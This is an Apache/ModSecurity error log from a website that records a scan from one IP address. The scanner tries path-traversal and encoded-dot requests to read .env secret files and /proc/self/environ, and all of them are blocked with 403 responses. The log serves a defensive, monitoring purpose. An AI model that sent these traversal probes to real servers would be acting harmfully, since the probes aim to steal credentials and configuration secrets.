[Sun Oct 25 14:01:41.715444 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /build../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at5EBaYYcNPV1bnoekNX9gAAAAQ"]
[Sun Oct 25 14:01:41.715848 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /build../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at5EBaYYcNPV1bnoekNX9gAAAAQ"]
[Sun Oct 25 14:01:41.715920 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at5EBaYYcNPV1bnoekNX9gAAAAQ"]
[Sun Oct 25 14:01:41.716063 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at5EBaYYcNPV1bnoekNX9gAAAAQ"]
[Sun Oct 25 14:01:41.716281 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at5EBaYYcNPV1bnoekNX9gAAAAQ"]
[Sun Oct 25 14:01:41.729466 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at5EBSjnAS4eJh-ada2NJAAAAA0"]
[Sun Oct 25 14:01:41.729552 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at5EBSjnAS4eJh-ada2NJAAAAA0"]
[Sun Oct 25 14:01:41.729601 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at5EBSjnAS4eJh-ada2NJAAAAA0"]
[Sun Oct 25 14:01:41.729768 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at5EBSjnAS4eJh-ada2NJAAAAA0"]
[Sun Oct 25 14:01:41.730081 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at5EBSjnAS4eJh-ada2NJAAAAA0"]
[Sun Oct 25 14:01:41.730118 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at5EBSjnAS4eJh-ada2NJAAAAA0"]
[Sun Oct 25 14:01:41.730132 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at5EBSjnAS4eJh-ada2NJAAAAA0"]
[Sun Oct 25 14:01:41.737380 2026] [core:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40578] AH10244: invalid URI path (/icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/proc/self/environ)
[Sun Oct 25 14:01:41.738862 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/home/user/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at5EBYIGIq5euXyTbvT1PwAAACQ"]
[Sun Oct 25 14:01:41.739062 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at5EBYIGIq5euXyTbvT1PwAAACQ"]
[Sun Oct 25 14:01:41.739280 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at5EBYIGIq5euXyTbvT1PwAAACQ"]
[Sun Oct 25 14:01:41.740247 2026] [security2:error] [pid 2875759:tid 2875759] [client 35.229.22.35:40542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at5EBQ1D5604vyZoHXzbewAAAAU"]
[Sun Oct 25 14:01:41.740384 2026] [security2:error] [pid 2875759:tid 2875759] [client 35.229.22.35:40542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at5EBQ1D5604vyZoHXzbewAAAAU"]
[Sun Oct 25 14:01:41.740613 2026] [security2:error] [pid 2875759:tid 2875759] [client 35.229.22.35:40542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at5EBQ1D5604vyZoHXzbewAAAAU"]
[Sun Oct 25 14:01:41.742199 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at5EBf1CbQghwAu-zzMCRwAAACA"]
[Sun Oct 25 14:01:41.742346 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at5EBf1CbQghwAu-zzMCRwAAACA"]
[Sun Oct 25 14:01:41.742570 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at5EBf1CbQghwAu-zzMCRwAAACA"]
[Sun Oct 25 14:01:41.745186 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBRfmy5DaFfyE01WrKwAAABE"]
[Sun Oct 25 14:01:41.745318 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBRfmy5DaFfyE01WrKwAAABE"]
[Sun Oct 25 14:01:41.745544 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBRfmy5DaFfyE01WrKwAAABE"]
[Sun Oct 25 14:01:41.748337 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at5EBaYYcNPV1bnoekNX9wAAAAQ"]
[Sun Oct 25 14:01:41.748514 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at5EBaYYcNPV1bnoekNX9wAAAAQ"]
[Sun Oct 25 14:01:41.748733 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at5EBaYYcNPV1bnoekNX9wAAAAQ"]
[Sun Oct 25 14:01:41.749719 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at5EBVY5e6yJWIYGXiqD7wAAAAk"]
[Sun Oct 25 14:01:41.749761 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at5EBVY5e6yJWIYGXiqD7wAAAAk"]
[Sun Oct 25 14:01:41.749806 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at5EBVY5e6yJWIYGXiqD7wAAAAk"]
[Sun Oct 25 14:01:41.749945 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at5EBVY5e6yJWIYGXiqD7wAAAAk"]
[Sun Oct 25 14:01:41.750158 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at5EBVY5e6yJWIYGXiqD7wAAAAk"]
[Sun Oct 25 14:01:41.751115 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBROIqc1eRNCRH2cpEQAAAAc"]
[Sun Oct 25 14:01:41.751275 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBROIqc1eRNCRH2cpEQAAAAc"]
[Sun Oct 25 14:01:41.751503 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBROIqc1eRNCRH2cpEQAAAAc"]
[Sun Oct 25 14:01:41.752043 2026] [core:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] AH10244: invalid URI path (/%2e%2e/.env)
[Sun Oct 25 14:01:41.757158 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env/public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at5EBSjnAS4eJh-ada2NJQAAAA0"]
[Sun Oct 25 14:01:41.757296 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at5EBSjnAS4eJh-ada2NJQAAAA0"]
[Sun Oct 25 14:01:41.757549 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at5EBSjnAS4eJh-ada2NJQAAAA0"]
[Sun Oct 25 14:01:41.764246 2026] [security2:error] [pid 2875759:tid 2875759] [client 35.229.22.35:40542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBQ1D5604vyZoHXzbfAAAAAU"]
